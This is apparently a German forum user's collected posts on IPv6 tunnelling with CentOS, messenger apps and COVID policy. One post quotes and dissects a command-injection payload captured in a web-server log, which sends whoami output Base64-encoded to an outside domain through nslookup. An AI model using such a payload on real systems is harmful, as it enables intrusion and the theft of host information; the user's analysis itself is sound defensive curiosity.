Beiträge von mainziman

    verwendet irgendjemand von seinem IPv6-Prefix die Adresse 0?

    also im DNS einfach host AAAA prefix::

    wußte gar nicht, dass des geht, hab des soeben durch Zufall gesehen,

    nachdem ich einen Log gesichtet habe;

    host meublinter.com und AHA:)

    Dagegen sind zwar Trumps Zehen objektiv vielleicht nicht unbedingt wichtiger

    da magst ja Recht haben,

    aber kritisch beobachte ich schon den Trend, vor x Jahren noch brachten sie noch im Lokalfernsehen,

    wenn beim Bauern a Kuh umgefallen ist, und jetzt nicht mal sowas;

    dafür bringen sie dann im Lokalfernsehen oft Dinge/Ereignisse vom Tag,

    die sie 10 Minuten später in den Weltnachrichen nochmals bringen¹ ...

    dieses Ereignis hatten sie übrigens nichtmal im Kuhdorf-Funk gebracht:rolleyes:

    (da es ein Link zur Internetpräsenz/-ausgabe einer Zeitung war,

    kann ich nichtmal sagen, ob des jemals in der Print-Ausgabe kam)

    ¹ damit unterstelllt man ja, das Volk lebe hinterm Mond und kapiert es beim ersten mal nicht ...:(

    in der Mediathek gibts zusätzlich Nachrichten f. hinten gebliebene in 'einfacher Sprache'²;

    ² ist das der Bildungsauftrag des öffentlich rechtlichen Fernsehens?:D

    neugierig wie ich bin, hab ich mir des mal etwas genauer angesehen

    Zeile 1 des cmd .. ignorier ich mal, und whoami > bli legt im File bli z.B. 'TRUMP\Donald' ab

    Zeile 2 des certutil -encode bli bli2 legt im File bli2 die Base64-Kodierung vom Inhalt des Files bli ab

    sieht dann so aus

    Code
    -----BEGIN CERTIFICATE-----
    dHJ1bXBcZG9uYWxkDQo=
    -----END CERTIFICATE-----


    Zeile 3 ist ganz schlau, es legt im File bli3 nur die Zeilen vom File bli2 ab, welche 'CERTIFICATE' nicht enthalten;

    quasi ein grep -v CERTIFICATE bli2 >bli3

    Zeile 4 hat als Ergebnis eine Umgebungsvariable mit dem Inhalt von bli3, also MYVAR=dHJ1bXBcZG9uYWxkDQo=

    in bash würd des dem entsprechen MYVAR="$(cat bli3)"

    Zeile 5 sollte die eigentliche Umgebungvariable FINAL erzeugen, ist aber fehlerhaft; es gibt kein !MYVAR!, sollte wohl %MYVAR% heissen;

    dann ist das Ergebnis eine Umgebungvariable, ich nehm hier mal whitehouse.gov, statt meiner ;)

    das sieht dann so aus

    FINAL=dHJ1bXBcZG9uYWxkDQo=-wininj3-whitehouse.gov.01h4x.com

    Zeile 6 sollte einen nslookup davon ausführen, auch hier ist !FINAL! falsch, sollte %FINAL% heissen;

    also nslookup dHJ1bXBcZG9uYWxkDQo=-wininj3-whitehouse.gov.01h4x.com

    da dieser skurille Log-Eintrag von einer griech. IP (inkl reverse DNS zu irgendwas mit .gr) gemacht wurde,

    die komische 01h4x.com-Domain aber in Israel registriert wurde, könnte hier was im Busch sein;:D

    Sieht nach klassischer Shell Code Injection bei irgendeinem IoT Gerät aus.

    meinst Du jetzt damit meinen Webserver?

    (ist ein Apache auf einem VPS hier bei netcup unter CentOS)

    zerlegt man des jetzt und läßt da den Trennmarker '&&' weg

    Code
    cmd /v /c "whoami > bli
    certutil -encode bli bli2
    findstr /L /V "CERTIFICATE" bli2 > bli3
    set /p MYVAR=<bli3
    set FINAL=!MYVAR!-wininj3-#DOMAIN.01h4x.com
    nslookup !FINAL!"

    dann sieht des nach stümperhaften Batch-File-Code f. Windows aus ...

    - whoami, findstr, certutil, cmd, nslookup ist alles in Windows vorhanden

    - findstr, cmd sucht man in Linux eher vergebens;)

    Frohe Weihnachten und ein hoffentlich besseres Jahr 2021

    habe soeben folgendes skurriles auf meinem Server in den Webserver-Logs aufgeschnappt

    Code
    13-12-2020; 03:57:37 [#DOMAIN/]: erp.mymegamarket.gr [78.108.43.212:49890] - "&& cmd /v /c "whoami > bli && certutil -encode bli bli2 && findstr /L /V "CERTIFICATE" bli2 > bli3 && set /p MYVAR=<bli3 && set FINAL=!MYVAR!-wininj2-#DOMAIN.01h4x.com && nslookup !FINAL!" && " - [ref.: "&& cmd /v /c "whoami > bli && certutil -encode bli bli2 && findstr /L /V "CERTIFICATE" bli2 > bli3 && set /p MYVAR=<bli3 && set FINAL=!MYVAR!-wininj3-#DOMAIN.01h4x.com && nslookup !FINAL!" && "]

    als User-Agent und als Referer der gleiche Unfug - Ransomware?

    whoami0501

    und das ist bei WhatsApp nicht?

    mein 6in4-server bei netcup flutscht :)

    ist auf CentOS Basis, und so wie das Routing bei netcup realisiert ist, gibt es ein hervorragendes Feature;

    f. Interessierte hier meine Umsetzung mit CentOS

    ich habs mit 2 zusätzlichen /64-Prefixen realisiert,

    würde wahrscheinlich auch nur mit einem gehen, könnte dann aber etwas Tricky sein;

    zur Bezeichnung/Benennung der einzelnen Prefixe und IP-Adressen

    2a03:4000:1:1::/64 (Server-IPv6) bzw. 37.37.37.37 (Server-IPv4)

    geholt hab ich mir 2a03:4000:17:17::/64 (Tunnel-Prefix) und 2a03:4000:31:31::/64 (LAN-Prefix)¹

    und 81.81.81.81 (Home-IPv4)

    zuerst der Server:

    /etc/sysconfig/network-scripts/ifcfg-eth0

    Code
    ...
    IPV6_ROUTER=yes
    # hier eine Adresse hinzufügen, mehr dazu weiter unten ...
    IPV6ADDR_SECONDARIES="... SPECIALADDR ..."

    /etc/sysconfig/network-scripts/ifcfg-sit1

    Code
    # IPv6-in-IPv4 tunnel
    TYPE=SIT
    NAME=sit1
    ONBOOT=yes
    DEVICE=sit1
    BOOTPROTO=none
    IPV6INIT=yes
    IPV6TUNNELIPV4=81.81.81.81
    IPV6TUNNELIPV4LOCAL=37.37.37.37
    IPV6ADDR=2a03:4000:17:17::1/64

    /etc/sysconfig/network-scripts/route6-sit1

    Code
    2a03:4000:17:17::/64 dev sit1 metric 1
    2a03:4000:31:31::/64 via 2a03:4000:17:17::2 dev sit1 metric 1

    /etc/sysconfig/network

    IPV6FORWARDING="yes" hinzufügen

    jetzt der Router zu Hause - ist bei mir ebenfalls ein CentOS, und hier gibt es Unterschiede bzw. Besonderheiten

    /etc/sysconfig/network-scripts/ifcfg-eth0

    Code
    ...
    IPV6_ROUTER=yes
    IPV6ADDR=2a03:4000:31:31::1
    # hier einfach fe80::1 als secondary definieren, dann kann dies einfach als Gateway eingetragen werden
    IPV6ADDR_SECONDARIES="... fe80::1 ..."

    /etc/sysconfig/network-scripts/ifcfg-sit1 ist ähnlich der am Server nur mit vertauschten IPv4 Adressen bzw. das andere Ende vom Tunnel-Prefix

    das Routing funktioniert hier aber anders, man braucht keine eigene Route definieren

    /etc/sysconfig/network beinhaltet hier im Vergleich zum Server etwas mehr

    Code
    IPV6FORWARDING="yes"
    IPV6_DEFAULTGW=2a03:4000:17:17::1
    IPV6_DEFAULTDEV=sit1

    zur Firewall, hier kommt bei mir IPtables/IP6tables zum Einsatz

    IPv4 das Protokoll 41 erlauben, gilt f. beide Teile, sowohl der Router als auch der Server, folgendes in /etc/sysconfig/iptables an entsprechender Stelle hinzufügen, am Router ist das WAN-Interface bei mir eth1 und am Server ist es eth0, daher hier ethX

    Code
    # Enable IPv6-A INPUT -i ethX -p ipv6 -j ACCEPT
    -A OUTPUT -o ethX -p ipv6 -j ACCEPT

    bei IPv6 ist am Server etwas mehr zu tun, folgendes in /etc/sysconfig/ip6tables hinzufügen

    Code
    # ICMP bzw. TRACEroute auch vom LAN erlauben
    -A INPUT -i sit1 -p icmpv6 -j ACCEPT
    -A INPUT -i sit1 -p udp --sport 32769:65535 --dport 33434:33523 -j ACCEPT
    # direkter Weg f. SSH von zu Hause
    -A INPUT -i sit1 -m tcp -p tcp --dport 22 -m state --state NEW -j ACCEPT
    # Enable 6in4 Tunnel traffic
    -I FORWARD -i eth0 -o sit1 -d 2a03:4000:17:17::2,2a03:4000:31:31::/64 -j ACCEPT
    -I FORWARD -i sit1 -o eth0 -s 2a03:4000:17:17::2,2a03:4000:31:31::/64 -j ACCEPT

    jetzt die Besonderheiten

    ich brauchte net.ipv6.conf.all.forwarding = 1 nicht explizit setzen, dies erfolgt durch die Skripte an Hand

    IPV6FORWARDING="yes" in /etc/sysconfig/network

    am Router zu Hause ist klarerweise net.ipv4.ip_forward = 1 gesetzt, beim Server ist das nicht notwendig;

    nachdem man sich bei netcup die Prefixe holt, hat man im SCP im Menüpunkt Netzwerk die Mglkt. den Prefix bei einem VPS/RS zuzuordnen,

    wenn man dies macht, dann zeigt er das an

    beim Tunnel-Prefix:

    2a03:4000:17:17::/64   ->  2a03:4000:1:1:4711:dead:beef:0007

    als auch beim LAN-Prefix:

    2a03:4000:31:31::/64   ->  2a03:4000:1:1:4711:dead:beef:0007

    jeweils darunter kann man rDNS Einträge definieren; und diese IPv6 rechts, ist die 'SECIALADDR' beim Server,

    welche man als zusätzl. IPv6-Adresse am Server definiert;

    jetzt das geniale Feature auf Grund der Umsetzung bei netcup

    man braucht keinen NDP-Proxy:), das klappt nativ zum einem,

    und zum anderen, ist der Tunnel-Prefix bei einem Traceroute von außen ins LAN versteckt, sieht bei mir so aus:

    Code
    # traceroute6 2a03:4000:31:31::1
    traceroute to 2a03:4000:31:31::1 (2a03:4000:31:31::1), 30 hops max, 80 byte packets
    ...
    5  ae3-1337.bbr02.anx25.fra.de.anexia-it.net (2001:7f8::a5e9:0:3)  1.315 ms  1.536 ms  1.487 ms
    6  2a00:11c0:47:1:47::140 (2a00:11c0:47:1:47::140)  4.490 ms  4.370 ms  4.909 ms
    7  2a00:11c0:47:3::21 (2a00:11c0:47:3::21)  4.523 ms  4.732 ms  4.660 ms
    8  2a03:4000:1:1:4711:dead:beef:0007 (2a03:4000:1:1:4711:dead:beef:0007)  4.660 ms  4.601 ms  4.737 ms
    9  2a03:4000:31:31::1 (2a03:4000:31:31::1)  38.772 ms  37.634 ms  41.713 ms  

    es funktioniert damit alles, vielleicht hat der eine od. andere eine Ahnung, wieso beim TRACEroute von zu Hause, Hop2 und Hop3 ident sind, nämlich

    2a03:4000:17:17::1, sprich Tunnel-Prefix::1, dies auch beim HE-IPv6-Tunnel; ist dies bei Dir auch whoami0501 ?

    ¹ sollte jemand wirklich diese Prefixe haben, dann ist das Zufall, war nicht Absicht

    cltrmx in dem Bereich sind wir halt momentan - auf dem selben Kindergarten-Level - wie darumals bei den Mobilfunkanbietern;

    ich kenne/kannte einen der hatte damals 4 Flossen, f. jedes Netz eine; entweder das Netz war nicht da, oder wenn dann sauteuer mit jemanden vom anderen Netz zu telephonieren, war seine Erklärung ...

    meine erste Flosse, war eher ein Ziegel, hatte zwar keine Grundgebühr, aber wehe man telephonierte damit, die Minute kostete umgerechnet 72,3 cent, aber getaktet wurde in 90 Sekunden;

    aber f. den Zweck erreichbar zu sein, tat es seinen Dienst; mir fiel es aber da nicht ein, deswegen mehrere "Ziegel" in die Hosentasche zu packen;

    ebenso fällt es mir heute auch nicht ein, mir meine Heizflosse mit x Messengern anzufüllen, entweder er/sie hat meinen bevorzugten, oder er/sie läßt es bleiben;

    aRaphael wo sind die Webserver-Daten?

    Dann waren die Keys alle und der Empfänger muss neue Keys generieren.

    sagte ja bereits, dass die Umsetzung Pfusch ist, sowas ist ein absolutes NoGo;;)

    würdest Dich ja ganz toll bedanken, wenn des bei End-to-End verschlüsselten E-mails auch so wär; dann würdest Deinen Geschäftspartner womöglich mitten in der Nacht (seine Nacht bei Dir ist es ja mitten am Tag) aus dem Bett zitieren: er soll gefälligst ins Mailprogramm einsteigen, damit Du des lesen kannst ...:D

    "Authentifikation"

    klar, erzählst mir dass diese nicht gegeben ist?;)

    der erzählt nix neues;

    zum 1ten Test, wäre der Link eine Seite mit Malware, hast Deine Hezflosse bereits infiltriert; so aber grasen Server des ab und liefern des optimiert f. den Client ..., und vielleicht sogar gefiltert ... - es ist nicht alles so böse und negativ ...

    zum 2ten Test: und?

    ich gewinne hier den Eindruck es mit Presseenten zu tun zu haben :D

    man muss ja was gegen KGB-nahes schreiben, wenn man NSA-nahes pushen will ;)

    Macht Telegram genau so.

    wenn Du es zuläßt, bei WhatsApp kommst gar nicht weiter wennst es verweigerst ...

    bei mir sieht das bei Telegram so aus ...

    screenTelegrammApprechte.png

    bei WhatsApp kein hindenken ...

    ich mein es sei jeden überlassen, aber die Usability hat bei mir auch einen hohen Stellenwert;

    bei WhatsApp haben sie es verspielt;

    soll heissen: was nützt ein gutes Konzept, wenn es schlecht umgesetzt ist? Nichts.:)

    Woher hast du die Info?

    selbst erlebt; es bildete sich mal jemand ein sich mit mir per WhatsApp auszutauschen, und genau hier war das der Knackpunkt, der schrieb irgendwann so um 1-2 Uhr früh und ich wollte das am nächsten Tag lesen und - Fehlanzeige;

    ich bekam nur Nachrichten angeziegt, dass der Absender Online sein muss bla bla bla ...

    und das ist für mich ein absolutes NoGo

    8. WA Web baut eine Verbindung zum Handy auf, um diese Verschlüsselung nicht zu brechen, wie Telegram es etwa tut.

    die Umsetzung ist aber eine komplett andere; bei Telegram installierst Du einfach den Client od. rufst die Website auf, und authentifizierst Dich einmal, ob Deine Heizflosse nachher noch online ist od. nicht ist irrelevant;

    soll heißen, wenn Du Deine Heizflosse auf dem Tisch etwas verrückst, und sie damit in ein Funkloch bringst ist auch die Verbindung am kabelgebundenen PC bei WhatsApp Web getrennt und auch das ist ein absolutes NoGo;

    das Konzept mag gut sein, die Umsetzung bei WhatsApp aber kompletter Pfusch

    ich hab mir was gebastelt, bei dem ich auf meinem Mailserver eine bestimmte Mail abfange, diese auswerte und als Telegram an mich schicke;

    lese ich diese nicht auf der Heizflosse, kann ich diese einfach am Telegramclient am PC lesen;

    ich hab bei Telegram momentan nur meinen Bot und 1 Kontakt;;)

    zu WhatsApp sei angemerkt: auf die ach so tolle Verschlüsselung pfeiff ich, wenn die zu doof sind sich an die DSGVO zu halten, was geht denen meine Kontakte auf der Heizflosse an?

    ja gut, ok bei Telegram ist das halt nicht End-to-End-verschlüsselt;

    aber so wie es bei Whatsapp umgesetzt ist, ist es auch kompletter Quark;

    kann ja nicht sein, dass der Absender online sein muss, nur damit Du seine Nachricht lesen kannst,

    die der eh schon Stunden früher abgeschickt hat, nur weil Du eben zum Zeitpunkt des Absendens nicht online warst ...

    und das Handling bei WhatsApp, wenn Du es auf einem PC verwenden willst, ist auch kontraproduktiv

    Bullshit. Ich weiß nicht wie das bei euch geregelt ist, aber unser BGB kennt eine solche Klausel nicht.

    richtig, Bullshit wenn ein Händler seine Geschäftsgrundlage durch Aktionen die seinen Lieferanten schädigen abgräbt ...

    dafür braucht es keine Regelung in Gesetzen sondern nur Hausverstand; H6G und nein gerade hier ist es eben kein BS

    wie machst Du dann ein am Ende eine Schwarze 0, schon vergessen Du bietest ja unter dem Einstandspreis an;

    und dass bei gesteigerter Abnahmemenge dieser auch steigt sollte Dir wohl auch klar sein;

    und um Dein Beispiel - weiter als Deine Riechkolbenlänge es ergibt - zu denken, machen ja Deine Kunden die Bestpreisgarantie geltend, nicht Du - sie gilt nebenbei auch nicht f. DIch als Händler sondern nur gegenüber Endkunden,

    Du bekommst nur eines juristisch von Deinem Händler eine über die Rübe gebraten;

    es macht nämlich einen Unterschied, ob ein Händler bewußt Waren feilbietet, die er unter dem Einstandspreis anbietet, und dessen Lieferant(en) aber nicht gegenüber Endverbrauchern anbietet (das sind auch Großhändler) - in Supermärkten kommt derartiges vor;

    Und ja, es gibt tatsächlich "Probleme" da der Test positiv zeigen kann obwohl die Viruslast sehr gering ist und die Person wahrscheinlich nicht mehr ansteckend.

    dieses sogenannte false positive ist aber irrelevant, wird halt jemand fürn Hugo in Quarantäne geschickt, was aber tatsächlich problematisch ist,

    sind false negatives ...;

    und die Fehlerquote ist bei asymptomatischen Verläufen, bei denen keine Symptome gezeigt werden durchaus gegeben;

    hat mit Aluhut und so eigentlich nichts zu tun;

    solche Massenteste ergeben ja Sinn, wenn es entsprechende Konsequenzen hätte wie z.B. "wer nicht zum Test erscheint hat damit einen Bescheid zur Absonderung f. die nächsten 14 Tage ausgefasst", und wer sich nicht daran hält wird direkt in den Knast befördert und dessen Konto entleert bzw. ins Minus gekippt;

    (ist zwar radikal, aber momentan ist alles andere mittlerweile eher sinnlos)

    ich mein in Dtl. gilt ja momentan der 'harte' Lockdown 2, in AT Lockdown nummer 3 ab 26. Dez. 2020; und ich war heute zu Fuß unterwegs um ein paar Dinge zu erledigen, und hatte den Eindruck da wär in der Fußgängerzone Gruppenkuscheln angesagt, soviele waren unterwegs; und des beschämende dabei, die wenigsten kaufen tatsächlich etwas, die meisten sind nur Auslagengaffer;

    damit dämmt man keine Pandemie ein; und helfen tut es der Wirtschaft auch nicht, wenn da Massen nur doof gaffen und nichts kaufen;

    ich hab nichts gegen Schaufensterbummeln, aber in dieser Situation geht mir das echt gegen den Strich, wenn man was zu erledigen hat, und damit einem höheren Risiko ausgesetzt wird, weil wirklich Massen sinnlos unterwegs sind;

    Als Reiserückkehrer in Deutschland hingegen werden dir für einen Test dann 75€ abgeknüpft,

    finde ich auch Ok, indem man net f. 10€ irgendwohin Reisen kann, kommt es auf die 75€ auch nicht mehr an,

    und in Zeiten wie diesen darf das ruhig in das Urlaubsbudget fallen, solltest Du in ein Land fahren,

    wo es spezieller Impfungen - wie z.B. Gelbfieber - bedarf, kalkulierst Du das ja auch ins Urlaubsbudget ...

    Welches Vorgehen letztendlich sinnvoller ist/war, wird man wohl erst in Zukunft sagen können

    klar, hier verglichen mit SK, hat Dtl. und auch Östr. hier einiges falsch gemacht, wo aber auch die Bev. mitspielen muss(te), und nicht hat ...

    oder wie erklärt man sich sonst, dass die Fälle auf die Einwohner gerechnet schon mal höher sind, und da die Sterblichkeit knapp das doppelte;

    dass es in Dtl. und auch in Östr. das eine od. andere Alters-/Seniorenwohnheim 'ausgeräumt' hat, erklärt das nur bedingt;

    vlt. eine Frage des Wohlstandes; nicht nur dass sich zuwenig Wohlstand negativ auf das auswirkt, evtl. auch zuviel Wohlstand ...